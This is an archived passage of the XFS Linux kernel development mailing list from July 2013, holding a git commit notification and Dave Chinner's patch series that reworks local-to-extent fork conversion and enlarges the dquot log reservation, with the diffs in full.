inodes which were fetched by iterating btree records from an AG. When processing inodes from each chunk, the code recomputing agbno if run into the first inode of a cluster, however, the agbno is not being used thereafter. This patch tries to clean up those things. Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_ioctl.c | 2 +- fs/xfs/xfs_itable.c | 28 +--------------------------- 2 files changed, 2 insertions(+), 28 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Tue Jul 9 15:54:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id CA6D329E10; Tue, 9 Jul 2013 15:54:35 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. for-linus-v3.11-rc1-3-g862a629 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: a69c7c077228b0bef38ccb1d385c099e132fe54b X-Git-Newrev: 862a62937e76a91da218c1ee4dceb7b0700fed67 Message-Id: <20130709205435.CA6D329E10@oss.sgi.com> Date: Tue, 9 Jul 2013 15:54:35 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 862a629 xfs: use get_unused_fd_flags(0) instead of get_unused_fd() 9cee4c5 xfs: clean up unused codes at xfs_bulkstat() from a69c7c077228b0bef38ccb1d385c099e132fe54b (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 862a62937e76a91da218c1ee4dceb7b0700fed67 Author: Yann Droneaud Date: Tue Jul 2 18:39:34 2013 +0200 xfs: use get_unused_fd_flags(0) instead of get_unused_fd() Macro get_unused_fd() is used to allocate a file descriptor with default flags. Those default flags (0) can be "unsafe": O_CLOEXEC must be used by default to not leak file descriptor across exec(). Instead of macro get_unused_fd(), functions anon_inode_getfd() or get_unused_fd_flags() should be used with flags given by userspace. If not possible, flags should be set to O_CLOEXEC to provide userspace with a default safe behavor. In a further patch, get_unused_fd() will be removed so that new code start using anon_inode_getfd() or get_unused_fd_flags() with correct flags. This patch replaces calls to get_unused_fd() with equivalent call to get_unused_fd_flags(0) to preserve current behavor for existing code. The hard coded flag value (0) should be reviewed on a per-subsystem basis, and, if possible, set to O_CLOEXEC. Signed-off-by: Yann Droneaud Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 9cee4c5b7b706157554cb06ca949997240da725a Author: Jie Liu Date: Mon Jul 1 21:51:32 2013 +0800 xfs: clean up unused codes at xfs_bulkstat() There are some unused codes at xfs_bulkstat(): - Variable bp is defined to point to the on-disk inode cluster buffer, but it proved to be of no practical help. - We process the chunks of good inodes which were fetched by iterating btree records from an AG. When processing inodes from each chunk, the code recomputing agbno if run into the first inode of a cluster, however, the agbno is not being used thereafter. This patch tries to clean up those things. Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_ioctl.c | 2 +- fs/xfs/xfs_itable.c | 28 +--------------------------- 2 files changed, 2 insertions(+), 28 deletions(-) hooks/post-receive -- XFS development tree From dave@fromorbit.com Tue Jul 9 16:04:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8EA7F29DF8 for ; Tue, 9 Jul 2013 16:04:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1F3BAAC002 for ; Tue, 9 Jul 2013 14:04:07 -0700 (PDT) X-ASG-Debug-ID: 1373403844-04cb6c2a41a992b0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id OWBeqChcbSCvAsIn for ; Tue, 09 Jul 2013 14:04:05 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsLAKZ53FF5LD3k/2dsb2JhbABbgwmMbrUcBIEaF3SDACMYgQIDiEK6F45OgTqDXgOpHYMjKg Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 10 Jul 2013 06:34:04 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Uwf4t-0005Rc-DE; Wed, 10 Jul 2013 07:04:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Uwf4t-0004Ka-C5; Wed, 10 Jul 2013 07:04:03 +1000 From: Dave Chinner To: bpm@sgi.com Cc: xfs@oss.sgi.com Subject: [PATCH 0/3] xfs: remaining 3.11 merge patches Date: Wed, 10 Jul 2013 07:03:58 +1000 X-ASG-Orig-Subj: [PATCH 0/3] xfs: remaining 3.11 merge patches Message-Id: <1373403841-16612-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373403844 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136293 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Hi Ben, I figured it was easiest for you to just repost all three remainng patches for the 3.11 merge window that I have in one set. The dquot log res patch has been updated to address Chandra's review. Cheers, Dave. From dave@fromorbit.com Tue Jul 9 16:04:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A34B829E09 for ; Tue, 9 Jul 2013 16:04:10 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0F1B4AC001 for ; Tue, 9 Jul 2013 14:04:09 -0700 (PDT) X-ASG-Debug-ID: 1373403846-04cbb04691d4c420001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id s1dH4zKGF2CKJFKv for ; Tue, 09 Jul 2013 14:04:06 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqopAKZ53FF5LD3k/2dsb2JhbABbgwkyrV0Ck3kEgRoXdIIjAQEFJy8jEAgYGBk5AxsZiA66F45OgS6DagOYfYh3hymDIyqBLCQ Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 10 Jul 2013 06:34:04 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Uwf4t-0005Re-EC; Wed, 10 Jul 2013 07:04:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Uwf4t-0004Ki-DP; Wed, 10 Jul 2013 07:04:03 +1000 From: Dave Chinner To: bpm@sgi.com Cc: xfs@oss.sgi.com Subject: [PATCH 2/3] xfs: remove local fork format handling from xfs_bmapi_write() Date: Wed, 10 Jul 2013 07:04:00 +1000 X-ASG-Orig-Subj: [PATCH 2/3] xfs: remove local fork format handling from xfs_bmapi_write() Message-Id: <1373403841-16612-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1373403841-16612-1-git-send-email-david@fromorbit.com> References: <1373403841-16612-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373403846 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136293 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header From: Dave Chinner The conversion from local format to extent format requires interpretation of the data in the fork being converted, so it cannot be done in a generic way. It is up to the caller to convert the fork format to extent format before calling into xfs_bmapi_write() so format conversion can be done correctly. The code in xfs_bmapi_write() to convert the format is used implicitly by the attribute and directory code, but they specifically zero the fork size so that the conversion does not do any allocation or manipulation. Move this conversion into the shortform to leaf functions for the dir/attr code so the conversions are explicitly controlled by all callers. Now we can remove the conversion code in xfs_bmapi_write. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely --- fs/xfs/xfs_attr_leaf.c | 2 + fs/xfs/xfs_bmap.c | 199 ++++++++++++++++++++---------------------------- fs/xfs/xfs_bmap.h | 1 + fs/xfs/xfs_dir2_block.c | 20 +++-- 4 files changed, 98 insertions(+), 124 deletions(-) diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index 31d3cd1..b800fbc 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -690,6 +690,8 @@ xfs_attr_shortform_to_leaf(xfs_da_args_t *args) sf = (xfs_attr_shortform_t *)tmpbuffer; xfs_idata_realloc(dp, -size, XFS_ATTR_FORK); + xfs_bmap_local_to_extents_empty(dp, XFS_ATTR_FORK); + bp = NULL; error = xfs_da_grow_inode(args, &blkno); if (error) { diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 8904284..05c698c 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -1161,6 +1161,24 @@ xfs_bmap_extents_to_btree( * since the file data needs to get logged so things will stay consistent. * (The bmap-level manipulations are ok, though). */ +void +xfs_bmap_local_to_extents_empty( + struct xfs_inode *ip, + int whichfork) +{ + struct xfs_ifork *ifp = XFS_IFORK_PTR(ip, whichfork); + + ASSERT(XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL); + ASSERT(ifp->if_bytes == 0); + ASSERT(XFS_IFORK_NEXTENTS(ip, whichfork) == 0); + + xfs_bmap_forkoff_reset(ip->i_mount, ip, whichfork); + ifp->if_flags &= ~XFS_IFINLINE; + ifp->if_flags |= XFS_IFEXTENTS; + XFS_IFORK_FMT_SET(ip, whichfork, XFS_DINODE_FMT_EXTENTS); +} + + STATIC int /* error */ xfs_bmap_local_to_extents( xfs_trans_t *tp, /* transaction pointer */ @@ -1174,9 +1192,12 @@ xfs_bmap_local_to_extents( struct xfs_inode *ip, struct xfs_ifork *ifp)) { - int error; /* error return value */ + int error = 0; int flags; /* logging flags returned */ xfs_ifork_t *ifp; /* inode fork pointer */ + xfs_alloc_arg_t args; /* allocation arguments */ + xfs_buf_t *bp; /* buffer for extent block */ + xfs_bmbt_rec_host_t *ep; /* extent record pointer */ /* * We don't want to deal with the case of keeping inode data inline yet. @@ -1185,68 +1206,65 @@ xfs_bmap_local_to_extents( ASSERT(!(S_ISREG(ip->i_d.di_mode) && whichfork == XFS_DATA_FORK)); ifp = XFS_IFORK_PTR(ip, whichfork); ASSERT(XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL); + + if (!ifp->if_bytes) { + xfs_bmap_local_to_extents_empty(ip, whichfork); + flags = XFS_ILOG_CORE; + goto done; + } + flags = 0; error = 0; - if (ifp->if_bytes) { - xfs_alloc_arg_t args; /* allocation arguments */ - xfs_buf_t *bp; /* buffer for extent block */ - xfs_bmbt_rec_host_t *ep;/* extent record pointer */ - - ASSERT((ifp->if_flags & - (XFS_IFINLINE|XFS_IFEXTENTS|XFS_IFEXTIREC)) == XFS_IFINLINE); - memset(&args, 0, sizeof(args)); - args.tp = tp; - args.mp = ip->i_mount; - args.firstblock = *firstblock; - /* - * Allocate a block. We know we need only one, since the - * file currently fits in an inode. - */ - if (*firstblock == NULLFSBLOCK) { - args.fsbno = XFS_INO_TO_FSB(args.mp, ip->i_ino); - args.type = XFS_ALLOCTYPE_START_BNO; - } else { - args.fsbno = *firstblock; - args.type = XFS_ALLOCTYPE_NEAR_BNO; - } - args.total = total; - args.minlen = args.maxlen = args.prod = 1; - error = xfs_alloc_vextent(&args); - if (error) - goto done; - - /* Can't fail, the space was reserved. */ - ASSERT(args.fsbno != NULLFSBLOCK); - ASSERT(args.len == 1); - *firstblock = args.fsbno; - bp = xfs_btree_get_bufl(args.mp, tp, args.fsbno, 0); - - /* initialise the block and copy the data */ - init_fn(tp, bp, ip, ifp); - - /* account for the change in fork size and log everything */ - xfs_trans_log_buf(tp, bp, 0, ifp->if_bytes - 1); - xfs_bmap_forkoff_reset(args.mp, ip, whichfork); - xfs_idata_realloc(ip, -ifp->if_bytes, whichfork); - xfs_iext_add(ifp, 0, 1); - ep = xfs_iext_get_ext(ifp, 0); - xfs_bmbt_set_allf(ep, 0, args.fsbno, 1, XFS_EXT_NORM); - trace_xfs_bmap_post_update(ip, 0, - whichfork == XFS_ATTR_FORK ? BMAP_ATTRFORK : 0, - _THIS_IP_); - XFS_IFORK_NEXT_SET(ip, whichfork, 1); - ip->i_d.di_nblocks = 1; - xfs_trans_mod_dquot_byino(tp, ip, - XFS_TRANS_DQ_BCOUNT, 1L); - flags |= xfs_ilog_fext(whichfork); + ASSERT((ifp->if_flags & (XFS_IFINLINE|XFS_IFEXTENTS|XFS_IFEXTIREC)) == + XFS_IFINLINE); + memset(&args, 0, sizeof(args)); + args.tp = tp; + args.mp = ip->i_mount; + args.firstblock = *firstblock; + /* + * Allocate a block. We know we need only one, since the + * file currently fits in an inode. + */ + if (*firstblock == NULLFSBLOCK) { + args.fsbno = XFS_INO_TO_FSB(args.mp, ip->i_ino); + args.type = XFS_ALLOCTYPE_START_BNO; } else { - ASSERT(XFS_IFORK_NEXTENTS(ip, whichfork) == 0); - xfs_bmap_forkoff_reset(ip->i_mount, ip, whichfork); + args.fsbno = *firstblock; + args.type = XFS_ALLOCTYPE_NEAR_BNO; } - ifp->if_flags &= ~XFS_IFINLINE; - ifp->if_flags |= XFS_IFEXTENTS; - XFS_IFORK_FMT_SET(ip, whichfork, XFS_DINODE_FMT_EXTENTS); + args.total = total; + args.minlen = args.maxlen = args.prod = 1; + error = xfs_alloc_vextent(&args); + if (error) + goto done; + + /* Can't fail, the space was reserved. */ + ASSERT(args.fsbno != NULLFSBLOCK); + ASSERT(args.len == 1); + *firstblock = args.fsbno; + bp = xfs_btree_get_bufl(args.mp, tp, args.fsbno, 0); + + /* initialise the block and copy the data */ + init_fn(tp, bp, ip, ifp); + + /* account for the change in fork size and log everything */ + xfs_trans_log_buf(tp, bp, 0, ifp->if_bytes - 1); + xfs_idata_realloc(ip, -ifp->if_bytes, whichfork); + xfs_bmap_local_to_extents_empty(ip, whichfork); flags |= XFS_ILOG_CORE; + + xfs_iext_add(ifp, 0, 1); + ep = xfs_iext_get_ext(ifp, 0); + xfs_bmbt_set_allf(ep, 0, args.fsbno, 1, XFS_EXT_NORM); + trace_xfs_bmap_post_update(ip, 0, + whichfork == XFS_ATTR_FORK ? BMAP_ATTRFORK : 0, + _THIS_IP_); + XFS_IFORK_NEXT_SET(ip, whichfork, 1); + ip->i_d.di_nblocks = 1; + xfs_trans_mod_dquot_byino(tp, ip, + XFS_TRANS_DQ_BCOUNT, 1L); + flags |= xfs_ilog_fext(whichfork); + done: *logflagsp = flags; return error; @@ -1323,25 +1341,6 @@ xfs_bmap_add_attrfork_extents( } /* - * Block initialisation function for local to extent format conversion. - * - * This shouldn't actually be called by anyone, so make sure debug kernels cause - * a noticable failure. - */ -STATIC void -xfs_bmap_local_to_extents_init_fn( - struct xfs_trans *tp, - struct xfs_buf *bp, - struct xfs_inode *ip, - struct xfs_ifork *ifp) -{ - ASSERT(0); - bp->b_ops = &xfs_bmbt_buf_ops; - memcpy(bp->b_addr, ifp->if_u1.if_data, ifp->if_bytes); - xfs_trans_buf_set_type(tp, bp, XFS_BLFT_BTREE_BUF); -} - -/* * Called from xfs_bmap_add_attrfork to handle local format files. Each * different data fork content type needs a different callout to do the * conversion. Some are basic and only require special block initialisation @@ -1381,9 +1380,9 @@ xfs_bmap_add_attrfork_local( flags, XFS_DATA_FORK, xfs_symlink_local_to_remote); - return xfs_bmap_local_to_extents(tp, ip, firstblock, 1, flags, - XFS_DATA_FORK, - xfs_bmap_local_to_extents_init_fn); + /* should only be called for types that support local format data */ + ASSERT(0); + return EFSCORRUPTED; } /* @@ -4907,20 +4906,19 @@ xfs_bmapi_write( orig_mval = mval; orig_nmap = *nmap; #endif + whichfork = (flags & XFS_BMAPI_ATTRFORK) ? + XFS_ATTR_FORK : XFS_DATA_FORK; ASSERT(*nmap >= 1); ASSERT(*nmap <= XFS_BMAP_MAX_NMAP); ASSERT(!(flags & XFS_BMAPI_IGSTATE)); ASSERT(tp != NULL); ASSERT(len > 0); - - whichfork = (flags & XFS_BMAPI_ATTRFORK) ? - XFS_ATTR_FORK : XFS_DATA_FORK; + ASSERT(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL); if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && - XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE && - XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL), + XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE), mp, XFS_ERRTAG_BMAPIFORMAT, XFS_RANDOM_BMAPIFORMAT))) { XFS_ERROR_REPORT("xfs_bmapi_write", XFS_ERRLEVEL_LOW, mp); return XFS_ERROR(EFSCORRUPTED); @@ -4933,37 +4931,6 @@ xfs_bmapi_write( XFS_STATS_INC(xs_blk_mapw); - if (XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL) { - /* - * XXX (dgc): This assumes we are only called for inodes that - * contain content neutral data in local format. Anything that - * contains caller-specific data in local format that needs - * transformation to move to a block format needs to do the - * conversion to extent format itself. - * - * Directory data forks and attribute forks handle this - * themselves, but with the addition of metadata verifiers every - * data fork in local format now contains caller specific data - * and as such conversion through this function is likely to be - * broken. - * - * The only likely user of this branch is for remote symlinks, - * but we cannot overwrite the data fork contents of the symlink - * (EEXIST occurs higher up the stack) and so it will never go - * from local format to extent format here. Hence I don't think - * this branch is ever executed intentionally and we should - * consider removing it and asserting that xfs_bmapi_write() - * cannot be called directly on local format forks. i.e. callers - * are completely responsible for local to extent format - * conversion, not xfs_bmapi_write(). - */ - error = xfs_bmap_local_to_extents(tp, ip, firstblock, total, - &bma.logflags, whichfork, - xfs_bmap_local_to_extents_init_fn); - if (error) - goto error0; - } - if (*firstblock == NULLFSBLOCK) { if (XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_BTREE) bma.minleft = be16_to_cpu(ifp->if_broot->bb_level) + 1; diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h index 5f469c3..1cf1292 100644 --- a/fs/xfs/xfs_bmap.h +++ b/fs/xfs/xfs_bmap.h @@ -172,6 +172,7 @@ void xfs_bmap_trace_exlist(struct xfs_inode *ip, xfs_extnum_t cnt, #endif int xfs_bmap_add_attrfork(struct xfs_inode *ip, int size, int rsvd); +void xfs_bmap_local_to_extents_empty(struct xfs_inode *ip, int whichfork); void xfs_bmap_add_free(xfs_fsblock_t bno, xfs_filblks_t len, struct xfs_bmap_free *flist, struct xfs_mount *mp); void xfs_bmap_cancel(struct xfs_bmap_free *flist); diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index e59f5fc..53b9aa2 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -29,6 +29,7 @@ #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_inode_item.h" +#include "xfs_bmap.h" #include "xfs_buf_item.h" #include "xfs_dir2.h" #include "xfs_dir2_format.h" @@ -1167,13 +1168,15 @@ xfs_dir2_sf_to_block( __be16 *tagp; /* end of data entry */ xfs_trans_t *tp; /* transaction pointer */ struct xfs_name name; + struct xfs_ifork *ifp; trace_xfs_dir2_sf_to_block(args); dp = args->dp; tp = args->trans; mp = dp->i_mount; - ASSERT(dp->i_df.if_flags & XFS_IFINLINE); + ifp = XFS_IFORK_PTR(dp, XFS_DATA_FORK); + ASSERT(ifp->if_flags & XFS_IFINLINE); /* * Bomb out if the shortform directory is way too short. */ @@ -1182,22 +1185,23 @@ xfs_dir2_sf_to_block( return XFS_ERROR(EIO); } - oldsfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; + oldsfp = (xfs_dir2_sf_hdr_t *)ifp->if_u1.if_data; - ASSERT(dp->i_df.if_bytes == dp->i_d.di_size); - ASSERT(dp->i_df.if_u1.if_data != NULL); + ASSERT(ifp->if_bytes == dp->i_d.di_size); + ASSERT(ifp->if_u1.if_data != NULL); ASSERT(dp->i_d.di_size >= xfs_dir2_sf_hdr_size(oldsfp->i8count)); + ASSERT(dp->i_d.di_nextents == 0); /* * Copy the directory into a temporary buffer. * Then pitch the incore inode data so we can make extents. */ - sfp = kmem_alloc(dp->i_df.if_bytes, KM_SLEEP); - memcpy(sfp, oldsfp, dp->i_df.if_bytes); + sfp = kmem_alloc(ifp->if_bytes, KM_SLEEP); + memcpy(sfp, oldsfp, ifp->if_bytes); - xfs_idata_realloc(dp, -dp->i_df.if_bytes, XFS_DATA_FORK); + xfs_idata_realloc(dp, -ifp->if_bytes, XFS_DATA_FORK); + xfs_bmap_local_to_extents_empty(dp, XFS_DATA_FORK); dp->i_d.di_size = 0; - xfs_trans_log_inode(tp, dp, XFS_ILOG_CORE); /* * Add block 0 to the inode. -- 1.8.3.2 From dave@fromorbit.com Tue Jul 9 16:04:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6CC9529E13 for ; Tue, 9 Jul 2013 16:04:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5EA2830407F for ; Tue, 9 Jul 2013 14:04:11 -0700 (PDT) X-ASG-Debug-ID: 1373403844-04cb6c2a41a992b0002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id n9ZuUZeiDdYOzXZA for ; Tue, 09 Jul 2013 14:04:06 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At4LAKZ53FF5LD3k/2dsb2JhbABbgwnCCgSBGhd0giMBAQVWIxAIGBgZOQMbGYgOuheOOxOBLoNqA6kdgyMqgS0 Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 10 Jul 2013 06:34:04 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Uwf4t-0005Rf-F0; Wed, 10 Jul 2013 07:04:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Uwf4t-0004Kn-Do; Wed, 10 Jul 2013 07:04:03 +1000 From: Dave Chinner To: bpm@sgi.com Cc: xfs@oss.sgi.com Subject: [PATCH 3/3] xfs: dquot log reservations are too small Date: Wed, 10 Jul 2013 07:04:01 +1000 X-ASG-Orig-Subj: [PATCH 3/3] xfs: dquot log reservations are too small Message-Id: <1373403841-16612-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1373403841-16612-1-git-send-email-david@fromorbit.com> References: <1373403841-16612-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373403846 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136293 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header From: Dave Chinner During review of the separate project quota inode patches, it became obvious that the dquot log reservation calculation underestimated the number dquots that can be modified in a transaction. This has it's roots way back in the Irix quota implementation. That is, when quotas were first implemented in XFS, it only supported user and project quotas as Irix did not have group quotas. Hence the worst case operation involving dquot modification was calculated to involve 2 user dquots and 1 project dquot or 1 user dequot and 2 project dquots. i.e. 3 dquots. This was determined back in 1996, and has remained unchanged ever since. However, back in 2001, the Linux XFS port dropped all support for project quota and implmented group quotas over the top. This was effectively done with a search-and-replace of project with group, and as such the log reservation was not changed. However, with the advent of group quotas, chmod and rename now could modify more than 3 dquots in a single transaction - both could modify 4 dquots. Hence this log reservation has been wrong for a long time. In 2005, project quota support was reintroduced into Linux, but it was implemented to be mutually exclusive to group quotas and so this didn't add any new changes to the dquot log reservation. Hence when project quotas were in use (rather than group quotas) the log reservation was again valid, just like in the Irix days. Now, with the addition of the separate project quota inode, group and project quotas are no longer mutually exclusive, and hence operations can now modify three dquots per inode where previously it was only two. The worst case here is the rename transaction, which can allocate/free space on two different directory inodes, and if they have different uid/gid/prid configurations and are world writeable, then rename can actually modify 6 different dquots now. Further, the dquot log reservation doesn't take into account the space used by the dquot log format structure that precedes the dquot that is logged, and hence further underestimates the worst case log space required by dquots during a transaction. This has been missing since the first commit in 1996. Hence the worst case log reservation needs to be increased from 3 to 6, and it needs to take into account a log format header for each of those dquots. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely --- fs/xfs/xfs_quota.h | 25 +++++++++++++++++++++---- fs/xfs/xfs_trans_dquot.c | 9 ++++----- 2 files changed, 25 insertions(+), 9 deletions(-) diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index c3483ba..40d508b 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -108,11 +108,28 @@ typedef struct xfs_dqblk { { XFS_DQ_FREEING, "FREEING" } /* - * In the worst case, when both user and group quotas are on, - * we can have a max of three dquots changing in a single transaction. + * We have the possibility of all three quota types being active at once, and + * hence free space modification requires modification of all three current + * dquots in a single transaction. For this case we need to have a reservation + * of at least 3 dquots. + * + * However, a chmod operation can change both UID and GID in a single + * transaction, resulting in requiring {old, new} x {uid, gid} dquots to be + * modified. Hence for this case we need to reserve space for at least 4 dquots. + * + * And in the worst case, there's a rename operation that can be modifying up to + * 4 inodes with dquots attached to them. In reality, the only inodes that can + * have their dquots modified are the source and destination directory inodes + * due to directory name creation and removal. That can require space allocation + * and/or freeing on both directory inodes, and hence all three dquots on each + * inode can be modified. And if the directories are world writeable, all the + * dquots can be unique and so 6 dquots can be modified.... + * + * And, of course, we also need to take into account the dquot log format item + * used to describe each dquot. */ -#define XFS_DQUOT_LOGRES(mp) (sizeof(xfs_disk_dquot_t) * 3) - +#define XFS_DQUOT_LOGRES(mp) \ + ((sizeof(struct xfs_dq_logformat) + sizeof(struct xfs_disk_dquot)) * 6) /* * These are the structures used to lay out dquots and quotaoff diff --git a/fs/xfs/xfs_trans_dquot.c b/fs/xfs/xfs_trans_dquot.c index 3ba64d5..db041a5 100644 --- a/fs/xfs/xfs_trans_dquot.c +++ 